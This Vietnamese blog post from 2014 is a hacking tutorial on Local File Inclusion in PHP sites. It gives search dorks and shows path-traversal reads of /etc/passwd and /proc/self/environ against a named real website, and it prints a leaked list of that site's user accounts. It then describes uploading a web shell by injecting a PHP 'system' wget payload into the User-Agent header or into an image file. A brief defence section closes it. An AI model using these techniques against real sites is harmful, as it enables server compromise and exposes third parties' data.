Chủ Nhật, 9 tháng 2, 2014

Local file inclusion (LFI)

Local file inclusion (LFI)

a) Giới thiệu chung

Kĩ thuật này khai thác tương tự như đối với Remote File Inclusion .Có điều ta ko thể chèn nội dung file từ xa được.Mà chỉ có thể gọi các file hệ thống có liệu lực cục bộ (Cùng server).Ví dụ như có thể khai thác các file etc/passwd , httpd.conf , php.ini , access_log chẳng hạn.Hoặc đôi khi ta dùng nó để đọc các file config cùng server.

b) Cách tìm site lỗi:

Ta có thể tìm bằng các dork sau

index.php?page=
index.php?option=
search.php?word=


+ Sau đó có thể kiểm tra bằng cách thêm dấu ' vào sau nó: nếu như nó trả về một warning tương tự như sau thì có thể xem như site này bị Local File Inclusion

http://www.qcivalves.com/index.php?page='

Warning: include_once(\') [function.include-once]: failed to open stream: No such file or directory in/home/content/37/4936137/html/template.php on line 40

Warning: include_once() [function.include]: Failed opening '\'' for inclusion (include_path='.:/usr/local/php5/lib/php') in/home/content/37/4936137/html/template.php on line 40


c) Cách check site bị lỗi LFI

Sau khi tìm site bị lỗi ta chèn ngoài sau nó ../../file_can_xem
ví dụ như
../../../../../../../../../../../etc/passwd

Hoặc có thể dùng kiểu null byte bypass

../../../../../../../../../../../etc/passwd

đối với victim cụ thể ở trên ta khai thác là http://www.qcivalves.com/index.php?page=//etc/passwd
Danh sách lên đến cả nghìn user mình chỉ quote lại 1 phần :

clintgregor:*:4993632:100450:clintgregor:/home/content/32/4993632:/sbin/nologin writ3717:*:9322016:100450:writ3717:/home/content/16/9322016:/sbin/nologin brad5337:*:10268429:100450:brad5337:/home/content/29/10268429:/sbin/nologin labe0746:*:10256422:100450:labe0746:/home/content/22/10256422:/sbin/nologin tree0543:*:10264439:100450:tree0543:/home/content/39/10264439:/sbin/nologin jspellsphi:*:6786962:100450:jspellsphi:/home/content/62/6786962:/sbin/nologin

Đối với LFI ngoài việc có thể xem các file hệ thống.Nếu may mắn ta còn có thể upload shell lên server.Đầu tiên ta kiểm tra file /proc/self/environ xem có thể xem bằng LFI hay ko.Nếu có thể ta có thể upload shell.
Giả sử có thể xem đc file /proc/self/environ bằng :

http://www.site.com/index.php?lien=../../../../../../../../../../../../proc/self/environ

với victim thực ta đang xem http://www.qcivalves.com/index.php?page=//proc/self/environ thì nhận đc :

TMPDIR=/home/content/37/4936137/tmpPHPRC=/home/content/37/4936137/html/TEMP=/home/content/37/4936137/tmpPHP_FCGI_CHILDREN=0PATH=/usr/local/bin:/usr/bin:/binPWD=/web/cgi-binSHLVL=0SPI=TRUETMP=/home/content/37/4936137/tmpPHP_FCGI_MAX_REQUESTS=100000


Trở lại với trường hợp tổng quát : Để upload shell đầu tiên ta mở lại

http://www.victim.com/index.php?lien=../../../../../../../../../../../../proc/self/environ

bằng firefox sau đó bật addon tamper data lên.Kick vào Start Tamper sau đó f5 để refresh lại trang.Tiếp theo đặt vào user agent đoạn code upload sau

<?system('wget www.link.com/shell.txt -O shell.php');?>

sau khi OK thì ta có thể log vào shell qua đường dẫn :www. victim.com/shell.php
Đây không phải là cách duy nhất để upload shell khi khai thác lfi.Ta còn có thể dùng một số cách như.Đầu tiên up lên server 1 file ảnh photo.jpg .Trong file ảnh đó chèn vào một đoạn code upload ( Bạn có thể dùng tool jhead chẳng hạn link down : http://www.sentex.net/~mwandel/jhead/).Sau khi chèn code và upload ảnh lên ta có link ảnh là
http://victim.com/photo.jpg chẳng hạn.Tiếp tục ta mở http://victim.com/index.php?page=photo.jpg chẳng hạn.Lúc này con shell của ta may mắn có thể họat động.(Nhớ chèn đoạn shell ngắn thôi.Một form upload bình thường chẳng hạn ).

d) Cách phòng chống: Cách phòng chống tương tự như đã nêu đối với remote file inclusion

+Sử dụng file_get_contents thay vì dùng hàm include()
+Vô hiệu hóa hàm eval() trong Php.Hàm này để lại rất là nguy hiểm.
+Cố gắng khi code nhớ dùng đường dẫn tuyệt đối thay vì dùng đường dẫn tương đối và các biến môi trường.
+Thiết lập register_global=off , display_errors=off ,allow_url_include=off (đối với rfi) ....

Tác giả:Icarus TheGioiNgam.Org

Không có nhận xét nào:

Đăng nhận xét